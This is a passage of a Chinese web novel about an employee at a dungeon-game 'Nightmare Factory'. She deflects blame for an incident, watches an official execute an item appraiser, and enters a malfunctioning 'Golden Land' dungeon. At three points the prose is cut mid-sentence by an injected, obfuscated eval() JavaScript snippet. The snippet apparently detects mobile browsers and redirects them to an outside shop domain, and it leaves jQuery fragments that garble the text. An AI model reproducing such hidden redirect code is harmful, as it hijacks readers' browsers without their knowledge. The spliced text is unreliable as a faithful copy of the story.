会议室里只有张川一人,他神情严肃,坐在长桌左边的第一个位置。 长桌中央放着一台投影装置,莹蓝色的光投射在中央主座上,但是并没有投射出人影,只投射出一片老板椅的靠背和整齐摆放的桌面,显然应该出现在投影中的人物此时没有在办公室。 虽然领导不在,但姜原知道从走进会议室开始,自己的一举一动都处在监视之下,老板随时可以查看记录。 她在长桌右边的第一个座位坐下,端正坐姿,看向张川。 “咳咳。”张川清了清嗓子,中年人颓唐的面容堆起一个和蔼的笑容:“小姜,昨天‘四季城堡’副本出了一些意外情况,副本结束后我想找你来着,结果系统记录你去‘改造计划’做检查了。” “怎么样,离开副本后有没有什么不适应的感觉,‘改造计划’进行的顺利吗?” 姜原见他说话弯弯绕绕,一眼便知他在给后面的话做铺垫。 她也不拆穿张川,只微笑着回答:“嗯,多谢关心,我离开副本没什么不适的感觉,就是‘改造计划’遇到一些小问题,有一项检查结果不确定,可能还需要继续观察。” “嗯,没事,等你成为我司的正式职员之后,参评‘改造计划’的机会还有很多,到时候我也会跟改造工作室那边打招呼的。”张川话里有话,平日无精打采的眼睛闪露着精明的神采:“只要你成为噩梦厂的正式职员,大厂的福利远比你想得要更好更多。” “唔,那就多谢川哥了。”姜原佯装没听懂他的言外之意,张川说什么她便应什么。 见姜原一脸冥顽不灵的模样,张川脸一沉,开口就是公事公办的腔调:“小姜,这次副本事故你要担全责。剩下的事情不用担心,我会力保你。等过一段时间,风波平息,我可以保证你顺利转正。” 果然,张川想把昨天副本事故的锅扣在她头上。 姜原对自己的身份地位有很清晰的认知。 身为四级【员工】,她这个级别不高也不低,刚好能担得起“四季城堡”这个小副本运营事故的责任。 她只是一个试用期的员工,承担责任之后,无论有没有人保,开除离职是必然的事情。届时她离开噩梦厂已成定局,张川剩下的承诺自然也无需再履行,直接变成永远不可能吃到嘴里的空气大饼。 姜原需要自救,她唯一的活路就是把自己和这场事故的关系撇干净。 她像站在一座独木桥上,进退维谷。 要么撇清关系就此得罪张川,但是可以留在噩梦厂; 要么顺势下坡,遗憾退场,只能怪自己倒霉,试用期的第一个副本就遇见【道具】大战【非凡能力】,天龙人一出手便是姜原在小厂工作一辈子也见不到的东西。 姜原想起昨天下午在副本前置空间时,张川趁叶安娜不在时对自己说,活她来干,锅有他背,到时候论功行赏让叶安娜去就行。 念及此处,姜原心中不屑。老油条的话果然信不得,一旦自己妥协,最后的结果只会是“临时工姜原勇敢飞,出事只能自己背”。 “川哥,兹事体大,恐怕我担不下来。”姜原给张川戴高帽:“您是叶安娜小姐的带教老师,事情主要因她而起,若您能有所庇护,想来大老板也不会太为难,您吃小亏,实则两边都记着您的好。” “呵呵,真是伶牙俐齿。”会议室的门突然被打开,一个高挑的女人大步流星走进来,直接坐在会议室的主座上。 “这光线晃人眼睛,系统,把投影设备关了。”她气场凌厉,言语间带着说一不二的强硬气质。 “收到。”系统冰冷的机械提示音响起,投影仪莹蓝色的光芒渐渐暗淡。 姜原不知来者是谁,但凭她可以命令这间会议室的系统,就知道她的级别不会低于张川的上司、原本应该出现在投影中的人。 “你不过一个试用期的员工,谁给你的胆子跟上司推脱责任?”女人一双丹凤眼,看向姜原的目光尽显张扬:“好【员工】首先要学会服从上司的安排,你这样的人是怎么混成四级【员工】的?” 姜原本来还想以柔克刚,化解这一次危机。 现在又来一位逼自己就范的,姜原也只好拿出鱼死网破的精神。 姜原缓缓开口:“据我所知,为了便于检修,每个副本都有专属的日志接口。” 她平静的目光对上主座的女人:“从我进入副本开始,系统的每一条日志我都保存在个人终端里,包括‘四季城堡’副本的日志。” “您想看看吗?” “你没有保存日志的权限,你这是违规行为。”听到此言,张川开口,判定姜原有错在先。 叶安娜违规携带【道具】的事情决不能露馅,否则惊扰到叶先生,他给叶安娜当带教老师非但无功,可能还要被记上一笔。 “违规?”姜原嗤笑:“我入行第一天就长了教训,从此‘工作留痕’时刻铭记在心。” 她无所谓道:“只要您同意,我们大可以打开日志,看看是谁违规在先,又是谁违规比较严重。” “哈哈,你很有意思。” 就在姜原等待张川妥协或者反击时,主座上的女人开怀大笑。 她站起身,拍了拍姜原的肩膀,先前讥讽的敌意全都消失不见,语气中满是欣赏:“我叫卢雪绒,我看好你,之后你就跟我混吧。” 好闻的香水气息扑面而来,剑拔弩张的局势瞬间反转,姜原没反应过来是什么情况。 “卢姐,你要收她进组吗?”张川焦急地站起身,椅子划过地面发出刺耳的噪音:“可是大老板不是要把你们组的名额安排给......” “我从来不惯着这些人。”女人直接打断张川的话:“既然你们组要跪舔管理局,那这篓子你就自己背吧。” 姜原看懂了场上局势。 卢雪绒和张川的上司是互不对付的两个派系。她不愿替管理局塞进来的人背锅,在卢雪绒眼中,反而觉得她有理有据、不卑不亢,这样的品质得到了她的欣赏。 两个派系大佬斗争,她机缘巧合竟然真在浑水中摸到了好处,真乃时也命也。 卢雪绒不再理会张川,起身离开,示意姜原跟上。 刚才张川提到卢雪绒组里的名额问题,卢雪绒不提,姜原也不问,只默默跟着她走。 两人一前一后,一直从B区走到C区,卢雪绒终于停下来,问道:“你没什么想问我的吗?” 姜原摇头。 卢雪绒有些诧异:“你不问我为什么想收你进组?” “不管那种原因,对我来说都不重要。”姜原说:“往事不可追,我只关心未来的结果。” “哈哈,我越发觉得你有意思了。”卢雪绒笑了笑:“竟然不跟你的新领导说些客套话。” “我觉得您应该不会想听那些话。” 卢雪绒从口袋里掏出一张新的工卡:“等会我让人带你重新录工卡,从今天起你就在我们C区第七副本组工作,期待你的表现。” 姜原接过工卡:“我尽力。” “你今天就先熟悉一下环境,看看文档,等你顺利转正了我带你认识一下组里的其他同学。”卢雪绒安排道。 在噩梦厂完整的第一天由于卢雪绒的插手迎来崭新局面。 姜原在山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166827|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海般的文档中泡了一天,晚上下班走出门时脚步都是虚浮的。 天空渐渐黯淡,她转过街角,准备走小路搭乘回居住区的下降电梯。 不知不觉间,她的身后跟上几条小尾巴。 姜原刻意在砖瓦巷中绕路,试图摆脱这些人。 不料对方似乎接受过这方面的专业训练,察觉到姜原有意摆脱他们,直接不装了,快速把她的退路封死。 等姜原跑到砖瓦巷出口时,发现夕阳下影影绰绰,一群身穿黑西服的壮汉秩序井然站在巷口,她的出路也被堵死了。 为首的是一个瘦高男人,他身穿管家式的黑色燕尾服,拦住姜原的动作很强硬,说话的语气却礼貌儒雅:“姜小姐,我家主人想见你。” 无数猜测浮上姜原心头。 瘦高男人微微侧身,让出身后造价高昂的飞行器,戴着白手套的手做出请的姿势。 姜原看着这台飞行器。自成为【员工】以来,她上班通勤的交通工具只有电梯和自己的双腿。 这样稀有昂贵的交通工具,她只有站在上升电梯里时,透过玻璃侧壁,偶尔能看到一两架飞行器向高处疾驰而去的虚影。 眼前这台飞行器体积宽敞,亮色的金属漆质感非凡,低调中显露着不易察觉的奢华。 能把这样保养得当的飞行器当保姆车来用,这群黑衣人背后的金主必然不简单。 见姜原迟迟未动,身后站着的黑衣保镖伸手把姜原往飞行器上推。 在保镖的手即将接触她的一瞬,姜原反手钳住黑衣保镖的手腕。 尽管她只是四级【员工】,也没有接受过改造,但她固有的优良身体素质远超大部分【员工】,力量7是很多人接受改造后才能达到的程度。 保镖也是经过专业训练的,但在姜原巨大的力量面前丝毫没有反手之力。他脸上冷汗涔涔,仿佛随时都会听见骨骼一声脆响。 “谁给你的胆子?”姜原冷笑着看向领头的瘦高男子:“你们家主人就是这样训练你们的?” “我替他向您道歉,请不要动怒,姜小姐。”瘦高男子终于用上了敬称:“我家主人对您没有恶意。” 姜原盯着他的眼睛。 无论对方究竟是何目的,她不能赌。 对方人多势众,且背靠何方势力尚且未知。就算她此时能逃脱,之后恐怕也要面对无穷无尽的麻烦。 眼见无法推辞上飞行器,姜原大脑飞速运转。 眼下只有一个人,可能具有救她的实力。 姜原心念一动,通过个人终端向卢雪绒留言。 卢雪绒这一派与张川的派系互相斗争。张川他们有管理局做背书,那卢雪绒的派系能与之抗衡,必然有值得依靠的看家本领。 姜原知道自己这是在赌,赌卢雪绒究竟有多看重自己,她的派系能量有多大,是否愿意为自己付出代价。 联系卢雪绒是后手之一,寄希望于外物,这不是她的作风。 姜原人类时期的记忆中保留着一句古话:“舍得一身剐,要把皇帝拉下马。” 她不怕死,她随时可以去死,所以她永远有退路。 姜原松开钳制保镖的手。 身后的保镖一直处于她腕力的高压下,此时她骤然收力,保镖只觉得自己的胳膊几预变形,倒吸一口冷气,默默退后。 另一个黑衣保镖顶替他的位置,站在姜原身后。 姜原冷冷看了为首的瘦高男人一眼,登上飞行器。 引擎启动,气流托举飞行器向上起飞,姜原第一次来到副本公司以上的区域。 随着飞行器向上行进,姜原看着窗外的风景。 最开始两侧没什么建筑,灯火稀疏,像穿越漆黑深海,只有零星鱼类身上带有发光器官。 渐渐的,穿过一个巨大的光圈后,万家灯火映亮渐渐黯淡的天空。周围出现各式各样的建筑,不同于下层居住区灰暗破旧的屋楼,这里的建筑小巧别致,华美又不失安逸。 姜原想起自己第一次坐飞机,飞机突破云层,于是天光乍明。 “这里是管理局家属区。”瘦高男人介绍:“只有通过验证的交通工具才能进入这片区域,一般的电梯无法上到这一层。” 想来刚才的光圈就是验证措施了。 “管理局家属区。”姜原心中默默考虑。 她只是一个四级【员工】,素来和管理局没什么交往,近期唯一和管理局有关联的事件,就是昨天在“四季城堡”副本中和管理局某位领导的女儿叶安娜短暂共事过。 会和叶安娜有关吗? 飞行器在一处宅院中降落,黑衣保镖推开宅门,瘦高男人在前面引路。 姜原来到一间书房,房间的顶灯骤然亮起,一个男人坐在桌前,轻轻放下茶杯。 “你就是姜原?”男人问道。 15. 鉴定【道具】 姜原仔细打量这间书房的布置。 房间内布置十分古朴,木质地板、满墙书架,搭配八仙桌和太师椅,与现代科技感十足的建筑设施截然不同。 这是姜原第一次在这个世界见到这般风格的房间,熟悉的感觉让她对人类时期的生活产生一种怀念的感觉,尽管很多事情她不再记得。 “姜小姐,请坐。”男人有些年纪,斑白的鬓角打理整齐,面容严肃。 似乎久为上位者,他说话带着不怒自威的气势,言辞却很礼貌。 他又倒了一杯茶,放在对面的座位前。 姜原落座,目前看来对方并无恶意。 “我姓叶。”男人率先开口。 叶这个姓氏,结合先前瘦高男人介绍这里是管理局住宅区,很多问题水落石出。 眼前这人,正是叶安娜的父亲,管理局副本安全监察处处长,叶海山。 “叶处长。”姜原点头致意。 叶海山端起瓷杯抿了一口茶水:“昨天下午的事,我已经知道了。” 姜原静静听着,不做任何表示。 叶海山看眼前不过一个四级【员工】,面对自己没有紧张也并不谄媚,像水流一样舒缓平和,他心中有几分认可。 他放下杯子,眉眼间的冷肃消散几分:“多谢你关键时刻搭救小女,如果有什么我能帮忙的,可以尽管提出来,我叶家当尽力而为。” 姜原明白了,搞这么大阵仗把自己接过来,是想先试探一下她,免得她不知好歹狮子大开口,然后替叶安娜还了人情。 她其实没想到这一层。 当时她只是不愿违背本心,冲出去救叶安娜只是因为想救她。 但姜原不打算和叶海山客气,她是真的有问题需要解决。 有些问题靠她自己需要几经周折,对叶海山这样的人不过举手之劳。 姜原直接开口:“叶处长,多谢您的美意,那我也不与您客气。” “我想请您帮我查一个人的来历。这个人昨天下午七点左右出现在噩梦厂A区8号工作室门口西侧,男性,个子很高,衣着打扮像是流浪汉。” 叶海山点头,也不问姜原为何要查这个人,直接打开终端联系秘书,让秘书去调监控。 作为副本安全监察处处长,想要查看监控在他们这个世界找人,简直易如反掌。 “就这么简单吗?”叶海山看向姜原:“姜小姐,我叶某的女儿虽不算名门千金,但她的性命也绝非这点小事就可以偿还。” “我已经交代相关的人,明天上班你会收到噩梦厂的【员工】转正通知。”叶海山把手搭上桌子,露出手腕上价值不菲的手工表:“我叶家从不轻易欠人情,姜小姐可以再提出一个愿望。” “一笔不菲的酬金,晋升三级【员工】,甚至调入管理局——”叶海山略一停顿:“如果你不提,我会用我认为的方式来补偿你。” 姜原听懂他的言外之意。互相欠人情是他们高端圈层之间积累交情的方式,叶海山在暗示她还不值得叶家欠人情,所以她对叶安娜的救命之恩要加倍奉还,之后一拍两散,再无瓜葛。 姜原本不打算求得什么回报,只是目光瞟向叶海山手腕时,她忽然想起一件事。 她打开自己的手包,从内袋里取出自己那块手表。 “叶处长,我想请您帮我查一下这块表,它应该是一件【道具】。” 叶海山接过手表。 这是一块男女都能戴的老式机械表。银色的金属表带层层链接,结合成很有质感的链条;表盘呈白色,整体风格简约,指针精准显示目前的时间,和叶海山个人终端显示的时间分毫不差。 从外观来看,这块表平平无奇,并无特别之处。 “好。”叶海山答应:“我会转交【道具】监察处的人帮忙鉴定。” “叶处长,这块表我不方便离身。”姜原制止道:“能否麻烦您请人来这里鉴定,或者我们再约时间。” 姜原记得自己成为【员工】那天,她在下城区的一处角落醒来,身上唯一有些特别的物品,就是这块手表。 这块表很可能是当时招募她成为【员工】的人所赠,顺着这条线索,她也许可以找到招募自己的那个人。 “那我叫人上来鉴定。”叶海山没有计较。 不一会,一名【道具】专家便提着工具箱进来。 专家接过手表,先检查它的基本功能。对照现实时间,发现手表时间精准到分毫不差。 作为一块机械表,这显然不合理。 他掏出工具准备看看细节,一边问姜原:“目前您已知这块表有什么功能?” 姜原回答:“这块表可以显示副本之外的时间,别的功能我暂时还没发现。” 专家点头:“这就能解释通了,如果显示时间是它的功能,那这条功能将凌驾于任何物理法则之上。” 他一边说,一边用工具拆开手表后盖:“这样简单的功能,根据我的经验,这件【道具】的级别不会太高,大概率是六级,最多不超过五级。” 话音刚落,手表后盖被掀开,一阵奇异的气流从狭小的手表井喷而出,专家直接瘫坐在地。 只见机械表内部红宝石的表芯熠熠生辉,齿轮层层嵌套旋转,精密的行进轨迹间迸发出磅礴的力量。 一行白色的编号透过专家带来的扫描仪被投射到空气中:X24677-T1-01096. 每件【道具】都有专属编号,通过特殊的仪器可以查看。 这是姜原第一次见到编号,她不懂其中的含义,但看到专家的表现,她意识到这块手表不简单。 专家在看到编号的一瞬间,便瞪大双眼,神色中充满不可置信,口中喃喃道:“白色......竟然是白色!” “您刚说的颜色是什么意思?”姜原起身,把跌坐在地的专家扶起来。 专家定了定神,向姜原解释编号的含义:“颜色的具体含义没有统一定论,同一种编号颜色在不同种类的【道具】上可能代表不同的含义。但毋庸置疑,白色是极为罕见的情况。” “白色,空无一物,没有过去,没有未来。” 他伸手摸向空中漂浮的编号,手指凭空穿过投射出来的光影:“我干这行有二十余年,只在资料上见过白色编号,今天是第一次见到真的。” “那编号的具体内容有特殊含义吗?” “编号分为三段,第一段代表它来源的副本,第二段一般代表它的功能类型,这里的T1代表它是一件时间类一级道具,第三段代表它是某位【员工】发现的第几件【道具】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171409|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 说到这里,专家脸上露出一个难看的笑容,仿佛笑着笑着就要哭出来:“第三段编号,01096,这是010号【员工】发现的第96件道具啊!” 专家再也顾不得形象,脸上涕泗横流,看向叶海山:“叶先生,我从业二十余年,想不到也会有看走眼的时候。若我知道是这样高级的一件【道具】,我绝不会拆开它窥视编号。” “嗯。”叶海山走上前:“我明白,您的家人管理局会厚待。” 他从后腰掏出一把手枪,冰冷的枪口贴上专家的额头。 “感谢您对管理局的付出。”叶海山语气冰冷,随即扣动扳机。 鲜血在眼前炸开,刚才还在姜原眼前的专家转瞬间离开人世。 姜原不可置信地看向叶海山。 叶海山轻轻擦拭自己的枪口,把枪重新别回后腰:“010号【员工】,他进入过什么副本,曾发现哪些【道具】,这些信息属于绝密。” 他抬眸看向姜原:“姜小姐,你不用担心。知情的专家已经死了,这件【道具】是那位赠送于你,你可以继续持有。” “只是想联系到那位大人有些困难,叶某会尽力而为。” 管理局像一台运转的机器,状况之外的人都被无情卷入轧机齿轮,压碎到尸骨无存,如同这位专家。 就在这时,叶海山的个人终端一声轻响,他低头查看信息。 “姜小姐,你昨天在噩梦厂改造工作室遇到的人我查到了。”他抬起头:“很遗憾,这个人你暂时也见不到。” 他叹了口气:“这个人是管理局监狱的在逃犯,今天早上已经被抓捕归案了。” 姜原抿起嘴唇。 那枚钥匙还在自己包里。 “我想见他一面。”姜原提出要求。 闻言,叶海山深深看了她一眼,还是没有问原因:“可以,我来安排。” 姜原离开叶宅时,看到街边停着一辆火红色的小型飞行器,打了一下双闪。 她来时,附近没有停着这样一辆显眼的飞行器。 姜原走上前敲了敲飞行器的窗户。 飞行器从一旁打开门,姜原一看,里面赫然坐着一个衣着干练精致的女人,正是卢雪绒。 卢雪绒摘下墨镜,对着姜原招手:“上车,等你呢。” “卢姐,你是收到消息来捞我的吗?”姜原钻进飞行器,坐在卢雪绒旁边的副驾上。 “收到你消息的时候,我就知道没什么大事。”卢雪绒启动飞行器:“因为那会你的转正通知已经下发到我这了。” “今晚我们组在团建,我来接你是带你去吃饭。”她朝姜原笑笑:“恭喜你转正,以后就是我的下属了。” “好的,领导。”姜原也配合地点头。 “今天带你去一家需要预约的现做手工菜。”卢雪绒说:“总喝营养粉容易变得像营养粉一样面黄肌瘦。” 姜原笑了。营养粉也是好东西,至少是固态浓缩的。真正的底层只能靠营养液维持生命体征。 铃声响起,卢雪绒接起个人终端的来电,脸上笑容渐渐褪去。 她看向姜原,神情变得冷峻起来:“小姜,今晚的聚餐活动取消。” “副本工作室那边上报警告,有个副本出故障了。” 16. 永眠的黄金乡1 “卢组长,很抱歉半夜联系您。”姜原跟着卢雪绒走进会议室,一个穿着灰色工装的男人立刻迎上来,“今天上午我们维修部的人照常进去检修,没有按时出来;于是下午我们又派人进去,没想到直到现在他们都还在脑机舱躺着,一个都没醒。迫不得已,我们才联系您。” 卢雪绒直接在会议室正中间的椅子坐下,冷艳的面容压迫感十足:“疑似【员工】在副本中迷失这样严重的事件,为什么现在才联系我们?” 男人脸上冷汗直流:“原本以为没什么大事,维修不力我们部门要承担主要责任......” 会议室里椅子不多,桌上乱糟糟地铺满图纸,有些资料还飘到地上,足见这里先前的忙乱程度。 姜原默默站在墙边。 墙角另一边也站着一个年轻女孩,她朝姜原眨了眨眼。 两人靠着墙角的两边,在领导们锣鼓喧天的争论中无声地对口型。 “杜、莘、子,维、修、部、【员工】。”女孩的双手垫在背后,她伸出两根手指夹起自己灰色工装的一角,示意自己维修部的身份。 姜原也无声地和她介绍自己的身份。 “我、想、下、班,回、家、睡、觉。”女孩又说。 姜原微微颔首,表示无比赞同。 桌面砰的一声响,两人收回目光,看向会议室的焦点。 卢雪绒把手中的文件夹重重拍在桌案上,厉声质问道:“那你现在找我是什么意思,要我的人跟你们进副本送死吗?” “雪绒,我们不是这个意思。”一个高大的中年男性走进会议室,腋下夹着文件,显得有些风尘仆仆,“这次我会亲自带队进副本,以玩家的视角排查问题。” “我们以玩家身份进副本,不能走平常的检修通道,需要有副本支配者替我们开门。恳请你们组调拨一名副本支配者给我。” “老海。”见到来人,卢雪绒神色有所缓和:“我理解你的难处,只是黄金乡这个副本我们组也刚接管不久,眼下也没有特别合适的人选,需要一些时间准备。” “维修部的员工还困在副本里,救援刻不容缓。我先带一名支配者进副本,他负责给我开门就行。”被称为老海的中年男性说。 “我们现在拿不出人。”卢雪绒叹气:“实在不行,我跟你去。” 黄金乡? 姜原想起在“四季城堡”副本中,人鱼怪梅露辛在自杀式袭击之前,曾偷偷和她说话,让她去找永眠的黄金乡。 姜原没有权限决定自己可以运营什么副本。她的工作内容,要看所在的项目组负责那几个副本,听上级的安排。 眼下这个副本就叫“黄金乡”,如果和梅露辛所说的是一个东西,那可真是得来全不费工夫。 这是进副本一探究竟的好机会。 “卢姐,我愿意去。”姜原开口,打破沉闷的空气。 “小姜。”卢雪绒轻拍她的肩膀,神色中带着感激,“拜托你了,我会上报此事,尽快派人手增援。” “你进去之后,只管开门,其他事情听老海的。”她凑到姜原耳边轻声道。 姜原没有抬手,用手指比划OK的手势,刚好只让卢雪绒看到。 “维修部再来一个人跟着我。”老海似乎在思考人选。 “老大,我跟你去。”一旁杜莘子出言自荐。 “也行。”老海也不推辞,时间紧迫,他招呼二人跟上,径直朝脑机工作室走去。 姜原看向杜莘子,刚才她还说绝对不进副本,要早点回去睡觉。 杜莘子朝她做了个鬼脸,跟在老海背后,轻轻翕动嘴唇:“你,不,也,是,吗。” 姜原无奈,又是加班的一晚。 再入副本前置空间,这次老海和杜莘子都是玩家身份,姜原是唯一的副本支配者。 她打开门,三人鱼贯而入。 穿过门的黑暗,眼前出现一片荒芜的原野。 白昼刺眼的日光不同于副本前置空间柔和的光线,给原野描出苍白冰冷的轮廓。 姜原抬手,遮挡刺眼的光线。 这次进副本,她没有扮演副本中的BOSS,而是直接以自己本身的形象进入。 副本出现的故障还没有查明,她又是临时来救急的,对副本内容一无所知,贸然支配副本BOSS可能引发事故。 “我们先核查一下黄金乡的核心玩法有没有问题。”自副本出事以来,维修部已经仔细钻研该副本好几个小时,副本路线他烂熟于心,走在最前面带路,“小姜,你对副本不熟悉,不要和我们走散了。” 草苗稀疏的土地上中只有一条被人踩踏出的羊肠小径,目前为止很难迷路。 顺着唯一的小径走,建筑物的轮廓渐渐浮现在眼前。 “各位贵宾,欢迎来到黄金乡!”临近建筑群时,一名牛仔打扮的男子拦住他们。他头戴大沿草帽,穿着条纹格衫和棕色马甲,水蓝的裤腿扎进马丁靴,语气充满欢快的激情。 “流浪的镖客。”姜原听杜莘子低声道:“这是副本的一个BOSS,今天是他驻守门口。” “黄金乡,淘金客的天堂!”流浪镖客张开双臂,像是在拥抱整片荒原,“只要你们肯下矿、肯流汗,黄金就会像雨点一样砸进你们的口袋!” “黄金乡不问出处,不问过往,这里只认三件东西——黄金,黄金,还是黄金!”他欢快地蹦跳,靴跟在石板上发出清脆的声响,“你们的帽子可以换成黄金,鞋子可以换成黄金,身体的每一部分都能换成黄金,如果愿意把自己也留在黄金乡,那就再好不过啦!” 他压低帽檐,目光从众人脸上一一扫过,像是在确认货物的成色:“现在,拿起你们的矿镐,准备开启不眠不归的淘金之旅吧。” 地面上凭空出现三把矿镐。 诡异的感觉浮现在姜原心头。她抬眸,刚好对上老海看过来的视线。 姜原是以副本支配者的身份进入的,按理说副本npc只会给玩家发放物品,可荒野镖客提供了三把矿镐。 事情发展到这一步,作为一名普通【员工】,姜原此时应该离开副本,明哲保身。 但进入黄金乡的机会难得,而且有梅露辛的提示在先,越是诡异,越有可能藏着有用的信息。 姜原对着老海轻轻摇了下头,然后捡起身前的矿镐。 “祝各位,在黄金乡,好眠。”在他们三人都拿起矿镐后,荒野镖客摘下头上的大沿草帽,像拿着一顶小礼帽般,躬身朝他们行礼。 黄金乡整体类似一个西部小镇,镇子依山而建,外围是一些低矮的房屋,中央是一部分突出的山体,也是金矿的入口,十分显眼。 矿洞入口用烂木头搭了个简易棚子,上面用彩色油漆涂刷各种类的小广告,像极了人类世界经常贴在老小区门上的牛皮癣广告。 不远处站着三五个村民正在吆喝,内容和木板上的小广告差不多。 “便宜住宿,一晚三金粒,小火炉旁单人床,再加一金粒包早餐。” “矿镐组合套装39金粒,省力矿镐给自己,强力矿镐给朋友,费力矿镐给陌生人,让他永眠矿坑,长睡不醒。” “鲜花10金粒一束,给独\裁官大人献上鲜花,获得黄金乡独有的好运加持!” 村民们向淘金客售卖稀奇古怪的商品,分门别类考虑得十分周到,似乎淘金客已经成为黄金乡居民收入来源的一部分。 “走吧,先检查一下核心玩法。”老海带头,走进漆黑的矿洞。 “永眠的黄金乡”副本,牛仔在小镇门口跳踢踏舞,村民们的小木屋影影倬倬。 玩家手握矿镐,钻进矿洞,核心玩法当然是开采金矿。 矿洞从山口进入,越往下供人穿行的通道越发狭窄,通道接近垂直,没有灯光,三人依次攀着黏腻湿滑的绳梯向下移动,耳中只能听到同伴的呼吸声和自己的心跳声。 “到了。”老海第一个落地。 矿洞核心区域是一条相对平坦的甬道,狭长的洞壁上间隔一段距离便挂一盏风灯。 甬道中零星有几个矿工,弯腰正在采矿。 杜莘子钻进甬道,看了好几个正在挖矿的人,朝老海和姜原摇头。 这些正在挖矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186772|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人只是副本的npc,其中没有维修部失踪的【员工】。 老海眉头紧蹙,也躬身钻进甬道。姜原紧跟其后。 三人来到一处相对人少的位置,老海和杜莘子便扬起矿镐开凿矿石。 “采矿功能很正常。”不多时,老海放下矿镐,把手中的东西展示给姜原和杜莘子看。 只见他手中是一块被敲下来的矿石的棱角,不规则的表面上隐约泛着金色的光辉。 随着系统传来“叮——”一声轻响,矿石棱角变成两颗小小的金粒,静静躺在老海手心。 正常金矿采集下来后需要进一步提纯,但在游戏副本中,只要开采到含有金质的矿石,就可以获得其中的金粒。 姜原拿起一颗金粒,金粒表面没有抛光,在昏暗的灯光下像裹着一层含蓄的光膜,细看还闪着一丝血红的光芒。 “让一让,小心脚。”三人正在研究金粒之际,甬道深处一个人推着独轮车走出,车上堆着黑乎乎的废料,似乎要出去倒垃圾。 “小周!”看到推车的人,老海惊呼而出,“你已经失联一天,外面的同事都在找你们,你为什么还在这采矿!” “海老大,你怎么亲自进来了!” 推车的人叫周光,正是失踪的维修部【员工】之一。见到老海,他丝毫没有得到救援的欣喜,反而狠狠抓了一把自己鸡窝一样的头发,神色充满不安和懊悔,“我们一直没找到联系外界的方法,下午已经坑了两个人进来,没想到现在连你也给坑进来了。” “什么意思?”老海察觉到他话中的不对劲,示意他坐下来慢慢说。 就在这时,漆黑的甬道深处传来一阵轰鸣声,像野兽在喘息,又像跑车给油加速的嗡鸣。 “坏了坏了,”周光松开独轮车把手,推着老海姜原三人焦急地往外走,“你们得赶紧走,去镇上躲起来,不要住宿因为你们付不起黄金,能开门的话就赶快出去......” 他话还没说完,一道明亮刺眼的光线劈头盖脸照在四人身上。 姜原看到极其诡异的场景。矿洞甬道十分狭窄,但此时一辆皮卡车却从甬道深处缓缓驶来。 皮卡车尺寸正常,蓝色的车头,两人座的车厢,后面是平坦的装货区域,和常规意义上的皮卡车并无两样。 按理说这样的车不可能行驶在仅够人类行走的通道里,但这辆车像是突破了物理层面的限制,仿佛虚化了游戏建模般,就这样开了过来。 车辆在众人面前停下,发动机还在轰鸣。 车门打开,一个穿着毛绒外套的小个子女孩从驾驶座跳下车,抖落一下衣服。 她头上戴着巨大的帽子,帽檐垂下遮住半张脸。帽子上似乎还连着喇叭,垂在嘴边,一开口娇俏的嗓音声如洪钟: “你们什么人啊,给我看你们的居民证。” “我们是噩梦厂维修部的工作人员,此番进入副本进行检修。”老海上前表明身份。 “哦。”女孩闻言,随便应答一声,下垂的嘴角诉说着满不在乎的态度。 她抬手,毛茸茸的外套蹭了蹭自己的脸。 她明明有人类修长的四肢,抬手的动作却像小动物般轻轻挠脸,胳膊上的毛皮浑然天成,丝毫不见厚实衣服的褶皱感。 姜原忽然惊觉,这女孩毛茸茸的手臂不是因为穿着毛绒外套,而是本就长在她身上;喇叭也并非固定在帽子上,根部支棱在她头顶,像兔子的两只耳朵耷拉在嘴边。 “请问您是?”老海还在试图和女孩交涉,一旁周光连忙拉住他。 姜原回头。不知何时,矿洞中开采金矿的npc围过来,双眼泛着诡异的幽光,将他们的退路堵得水泄不通。 从皮卡车的车灯笼罩他们的时候,他们就已落入蛛网中心,被捕猎者盯上了。 “噩梦厂?我们可是管理局下属直辖单位,谁也管不着。”女孩不屑地撇嘴。 她手臂一挥,矿工们便如扑食般一拥而上,把姜原三人抓捕。 “带走!”女孩毛茸茸地跳上皮卡车。 姜原三人被五花大绑,扔上皮卡车的载货区。 17. 永眠的黄金乡2 矿洞深处泥土潮湿的气味渐渐淡去。伴随着汽车发动机拉闸的声响,车辆停止颠簸的晃动。 被人拎着领子扔出的滞空感袭来,接着是胳膊着地压迫骨骼的疼痛感。 身体接触到冰冷的铁板,眼睛上的布条被人扯下,姜原撑着地面支起身体,终于看到眼前的场景。 她被锁在一个笼子里。 笼子很大,可供一个成年人起身直立。姜原双手紧握笼子的铁栏杆,侧着脸尽可能去看笼子外面。 远处巨大的卷闸门缓缓闭合。 